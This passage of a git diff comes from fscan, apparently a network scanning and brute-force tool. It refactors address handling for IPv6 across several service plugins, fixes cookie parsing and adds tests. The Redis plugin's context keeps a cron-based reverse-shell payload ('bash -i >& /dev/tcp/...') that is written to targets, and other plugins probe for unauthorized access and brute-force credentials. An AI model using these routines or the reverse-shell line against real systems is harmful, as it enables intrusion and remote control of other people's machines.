fmt.Sprintf("postgres://%s:%s@%s:%d/postgres?sslmode=disable&connect_timeout=%d", - cred.Username, cred.Password, info.Host, info.Port, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString(cred.Username, cred.Password, info, int64(config.Timeout.Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { @@ -148,10 +149,27 @@ func classifyPostgreSQLErrorType(err error) ErrorType { return ClassifyError(err, pgAuthErrors, pgNetworkErrors) } +func postgreSQLConnString(username, password string, info *common.HostInfo, timeoutSeconds int64) string { + u := &url.URL{ + Scheme: "postgres", + Host: info.Target(), + Path: "postgres", + } + if password == "" { + u.User = url.User(username) + } else { + u.User = url.UserPassword(username, password) + } + q := u.Query() + q.Set("sslmode", "disable") + q.Set("connect_timeout", strconv.FormatInt(timeoutSeconds, 10)) + u.RawQuery = q.Encode() + return u.String() +} + // testUnauthorizedAccess 测试PostgreSQL未授权访问 func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { - connStr := fmt.Sprintf("postgres://postgres@%s:%d/postgres?sslmode=disable&connect_timeout=%d", - info.Host, info.Port, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString("postgres", "", info, int64(config.Timeout.Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { @@ -204,8 +222,7 @@ func (p *PostgreSQLPlugin) testUnauthorizedAccess(ctx context.Context, info *com func (p *PostgreSQLPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult { target := info.Target() - connStr := fmt.Sprintf("postgres://invalid:invalid@%s:%d/postgres?sslmode=disable&connect_timeout=%d", - info.Host, info.Port, int64(config.Timeout.Seconds())) + connStr := postgreSQLConnString("invalid", "invalid", info, int64(config.Timeout.Seconds())) db, err := sql.Open("postgres", connStr) if err != nil { diff --git a/plugins/services/postgresql_test.go b/plugins/services/postgresql_test.go new file mode 100644 index 0000000..b07be52 --- /dev/null +++ b/plugins/services/postgresql_test.go @@ -0,0 +1,23 @@ +package services + +import ( + "strings" + "testing" + + "github.com/shadow1ng/fscan/common" +) + +func TestPostgreSQLConnStringEscapesIPv6AndCredentials(t *testing.T) { + info := &common.HostInfo{Host: "2001:db8::1", Port: 5432} + got := postgreSQLConnString("user:name", "pa:ss word", info, 3) + + for _, want := range []string{ + "postgres://user%3Aname:pa%3Ass%20word@[2001:db8::1]:5432/postgres", + "connect_timeout=3", + "sslmode=disable", + } { + if !strings.Contains(got, want) { + t.Fatalf("postgreSQLConnString() = %q, missing %q", got, want) + } + } +} diff --git a/plugins/services/rabbitmq.go b/plugins/services/rabbitmq.go index 213a489..4eabb41 100644 --- a/plugins/services/rabbitmq.go +++ b/plugins/services/rabbitmq.go @@ -6,7 +6,9 @@ import ( "context" "fmt" "io" + "net" "net/http" + "strconv" "strings" "time" @@ -81,7 +83,7 @@ func (p *RabbitMQPlugin) doRabbitMQAuth(ctx context.Context, info *common.HostIn } } - baseURL := fmt.Sprintf("http://%s:%d", info.Host, port) + baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port)) client := &http.Client{Timeout: config.Timeout} req, err := http.NewRequestWithContext(ctx, "GET", baseURL+"/api/overview", nil) @@ -162,7 +164,7 @@ func (p *RabbitMQPlugin) testUnauthorizedAccess(ctx context.Context, info *commo port = 15672 } - baseURL := fmt.Sprintf("http://%s:%d", info.Host, port) + baseURL := "http://" + net.JoinHostPort(info.Host, strconv.Itoa(port)) client := &http.Client{Timeout: config.Timeout} // 测试无认证访问 @@ -261,7 +263,7 @@ func (p *RabbitMQPlugin) identifyService(ctx context.Context, info *common.HostI func (p *RabbitMQPlugin) testManagementInterface(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult { config := session.Config target := info.Target() - baseURL := fmt.Sprintf("http://%s:%d", info.Host, info.Port) + baseURL := "http://" + info.Target() client := &http.Client{Timeout: config.Timeout} diff --git a/plugins/services/redis.go b/plugins/services/redis.go index ff3b6db..7f3ba97 100644 --- a/plugins/services/redis.go +++ b/plugins/services/redis.go @@ -594,11 +594,15 @@ func (p *RedisPlugin) writeCron(conn net.Conn, host string) (flag bool, text str } // 解析目标地址 - target := strings.Split(host, ":") - if len(target) < 2 { + scanIp, scanPort, err := net.SplitHostPort(strings.TrimSpace(host)) + if err != nil && strings.Count(host, ":") == 1 { + target := strings.SplitN(host, ":", 2) + scanIp, scanPort = strings.TrimSpace(target[0]), strings.TrimSpace(target[1]) + err = nil + } + if err != nil || scanIp == "" || scanPort == "" { return false, i18n.GetText("redis_host_format_invalid"), nil } - scanIp, scanPort := target[0], target[1] // 写入cron任务 cronCmd := fmt.Sprintf("set xx \"\\n* * * * * bash -i >& /dev/tcp/%v/%v 0>&1\\n\"\r\n", scanIp, scanPort) diff --git a/plugins/services/rmi.go b/plugins/services/rmi.go index 05ea106..322e9ed 100644 --- a/plugins/services/rmi.go +++ b/plugins/services/rmi.go @@ -29,7 +29,7 @@ func (p *RMIPlugin) Scan(ctx context.Context, info *common.HostInfo, session *co timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "rmi"} diff --git a/plugins/services/rsync.go b/plugins/services/rsync.go index 95c0ce3..ddb0e66 100644 --- a/plugins/services/rsync.go +++ b/plugins/services/rsync.go @@ -125,11 +125,23 @@ func (p *RsyncPlugin) doRsyncAuth(ctx context.Context, info *common.HostInfo, cr } // 提取第一个模块名 - firstModuleLine := modules[0] - firstModule := strings.Fields(firstModuleLine)[0] + var firstModule string + for _, moduleLine := range modules { + if fields := strings.Fields(moduleLine); len(fields) > 0 { + firstModule = fields[0] + break + } + } + if firstModule == "" { + return &AuthResult{ + Success: false, + ErrorType: ErrorTypeUnknown, + Error: fmt.Errorf("%s", i18n.GetText("rsync_modules_failed")), + } + } // 使用 go-rsync 库进行认证测试 - address := fmt.Sprintf("%s:%d", info.Host, info.Port) + address := info.Target() dummyFS := &dummyStorage{} _, err := rsync.SocketClient( diff --git a/plugins/services/smb_protocol.go b/plugins/services/smb_protocol.go index e09054c..e5dbf89 100644 --- a/plugins/services/smb_protocol.go +++ b/plugins/services/smb_protocol.go @@ -203,7 +203,7 @@ var ( // probeTarget 探测目标SMB信息(协议版本、系统信息) func probeTarget(ctx context.Context, host string, port int, timeout time.Duration, session *common.ScanSession) (*SMBTarget, error) { - target := fmt.Sprintf("%s:%d", host, port) + target := net.JoinHostPort(host, strconv.Itoa(port)) conn, err := session.DialTCP(ctx, "tcp", target, timeout) if err != nil { @@ -485,7 +485,7 @@ func (a *SMB2Authenticator) Authenticate(ctx context.Context, host string, port timeoutCtx, cancel := context.WithTimeout(ctx, timeout) defer cancel() - conn, err := session.DialTCP(ctx, "tcp", fmt.Sprintf("%s:%d", host, port), timeout) + conn, err := session.DialTCP(ctx, "tcp", net.JoinHostPort(host, strconv.Itoa(port)), timeout) if err != nil { return &AuthResult{ Success: false, diff --git a/plugins/services/snmp.go b/plugins/services/snmp.go index a12f0cb..fd8a24f 100644 --- a/plugins/services/snmp.go +++ b/plugins/services/snmp.go @@ -28,7 +28,7 @@ func (p *SNMPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c timeout = 3 * time.Second } - target := fmt.Sprintf("%s:%d", info.Host, info.Port) + target := info.Target() result := p.probe(ctx, target, "public", timeout, session) if result == nil { @@ -257,4 +257,3 @@ func init() { return NewSNMPPlugin() }, []int{161}) } - diff --git a/plugins/services/tftp.go b/plugins/services/tftp.go index 1ddc79e..6c02567 100644 --- a/plugins/services/tftp.go +++ b/plugins/services/tftp.go @@ -26,7 +26,7 @@ func (p *TFTPPlugin) Scan(ctx context.Context, info *common.HostInfo, session *c timeout = 3 * time.Second } - target := fmt.Sprintf("%s:%d", info.Host, info.Port) + target := info.Target() conn, err := session.DialUDP(ctx, target, timeout) if err != nil { return &ScanResult{Success: false, Service: "tftp"} diff --git a/plugins/services/zookeeper.go b/plugins/services/zookeeper.go index 54000e5..ab2f8a3 100644 --- a/plugins/services/zookeeper.go +++ b/plugins/services/zookeeper.go @@ -4,7 +4,6 @@ package services import ( "context" - "fmt" "strings" "time" @@ -26,7 +25,7 @@ func (p *ZooKeeperPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi timeout = 3 * time.Second } - addr := fmt.Sprintf("%s:%d", info.Host, info.Port) + addr := info.Target() conn, err := session.DialTCP(ctx, "tcp", addr, timeout) if err != nil { return &ScanResult{Success: false, Service: "zookeeper"} diff --git a/webscan/lib/poc_executor.go b/webscan/lib/poc_executor.go index c4f79f6..3236080 100644 --- a/webscan/lib/poc_executor.go +++ b/webscan/lib/poc_executor.go @@ -374,15 +374,17 @@ func optimizeCookies(rawCookie string) string { var output strings.Builder // 解析Cookie键值对 - pairs := strings.Split(rawCookie, "; ") + pairs := strings.Split(rawCookie, ";") for _, pair := range pairs { + pair = strings.TrimSpace(pair) nameVal := strings.SplitN(pair, "=", 2) if len(nameVal) < 2 { continue } + name := strings.TrimSpace(nameVal[0]) // 跳过Cookie属性 - switch strings.ToLower(nameVal[0]) { + switch strings.ToLower(name) { case "expires", "max-age", "path", "domain", "version", "comment", "secure", "samesite", "httponly": continue @@ -392,9 +394,9 @@ func optimizeCookies(rawCookie string) string { if output.Len() > 0 { output.WriteString("; ") } - output.WriteString(nameVal[0]) + output.WriteString(name) output.WriteString("=") - output.WriteString(strings.Join(nameVal[1:], "=")) + output.WriteString(nameVal[1]) } return output.String() diff --git a/webscan/lib/poc_executor_test.go b/webscan/lib/poc_executor_test.go index 3627ec5..8e1f15f 100644 --- a/webscan/lib/poc_executor_test.go +++ b/webscan/lib/poc_executor_test.go @@ -181,6 +181,16 @@ func TestOptimizeCookies(t *testing.T) { raw: "sid=simple", want: "sid=simple", }, + { + name: "分号后无空格", + raw: "token=xyz;user=admin;Path=/app;HttpOnly", + want: "token=xyz; user=admin", + }, + { + name: "键名周围空格", + raw: " token =xyz; user =admin; Path =/", + want: "token=xyz; user=admin", + }, { name: "空字符串", raw: "", diff --git a/webscan/web_scan.go b/webscan/web_scan.go index 9dc46b4..f7b0914 100644 --- a/webscan/web_scan.go +++ b/webscan/web_scan.go @@ -5,6 +5,7 @@ import ( "embed" "errors" "fmt" + "net" "net/http" "net/url" "os" @@ -104,7 +105,7 @@ func WebScan(ctx context.Context, info *common.HostInfo, cfg *common.Config) { func buildTargetURL(info *common.HostInfo) (string, error) { // 自动构建URL if info.URL == "" { - info.URL = fmt.Sprintf("%s%s:%d", protocolHTTP, info.Host, info.Port) + info.URL = protocolHTTP + net.JoinHostPort(info.Host, fmt.Sprint(info.Port)) } else if !hasProtocolPrefix(info.URL) { info.URL = protocolHTTP + info.URL } @@ -120,6 +121,7 @@ func buildTargetURL(info *common.HostInfo) (string, error) { // hasProtocolPrefix 检查URL是否包含协议前缀 func hasProtocolPrefix(urlStr string) bool { + urlStr = strings.ToLower(urlStr) return strings.HasPrefix(urlStr, protocolHTTP) || strings.HasPrefix(urlStr, protocolHTTPS) } diff --git a/webscan/web_scan_test.go b/webscan/web_scan_test.go index fd400b3..a258457 100644 --- a/webscan/web_scan_test.go +++ b/webscan/web_scan_test.go @@ -114,6 +114,26 @@ func TestBuildTargetURL(t *testing.T) { expected: "http://test.example.com:9090", expectError: false, }, + { + name: "ipv6 builds bracketed host and port", + hostInfo: &common.HostInfo{ + Host: "2001:db8::1", + Port: 8080, + URL: "", + }, + expected: "http://[2001:db8::1]:8080", + expectError: false, + }, + { + name: "ipv6 url without protocol keeps brackets", + hostInfo: &common.HostInfo{ + Host: "2001:db8::1", + Port: 443, + URL: "[2001:db8::1]:443/admin", + }, + expected: "http://[2001:db8::1]:443", + expectError: false, + }, } for _, tt := range tests { @@ -190,8 +210,8 @@ func TestHasProtocolPrefix(t *testing.T) { {"only http", "http://", true}, {"only https", "https://", true}, {"http in middle", "example.http://com", false}, - {"uppercase HTTP", "HTTP://example.com", false}, // 区分大小写 - {"uppercase HTTPS", "HTTPS://example.com", false}, + {"uppercase HTTP", "HTTP://example.com", true}, + {"uppercase HTTPS", "HTTPS://example.com", true}, {"ftp protocol", "ftp://example.com", false}, {"http no slashes", "http:example.com", false}, {"partial prefix", "http:/example.com", false},